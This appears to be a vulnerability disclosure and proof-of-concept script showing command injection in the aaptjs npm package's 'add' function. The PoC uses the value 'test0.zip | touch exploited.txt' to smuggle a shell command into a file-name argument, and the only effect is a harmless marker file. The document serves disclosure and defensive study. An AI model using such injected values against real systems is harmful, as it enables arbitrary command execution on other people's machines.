Package aaptjs: The aaptjs module's 'add' function can be exploited through its first argument. It is a string through which a command can be injected by piping after the zip file value. Example: 'test0.zip | touch exploited.txt'.

aaptjs_poc-zip-cmd-inject.js

'use strict'

const pkg = require('aaptjs');

/*
 * Function 'aaptjs.add' starts a child process with a method signature 
 * that takes a single string command containing both the binary and arguments, 
 * thus being vulnerable to this pipe usage example.
 * A local 'exploited.txt' file will be created.
 */
pkg.add('test0.zip | touch exploited.txt', ['aaptjs_poc-zip-cmd-inject.js']);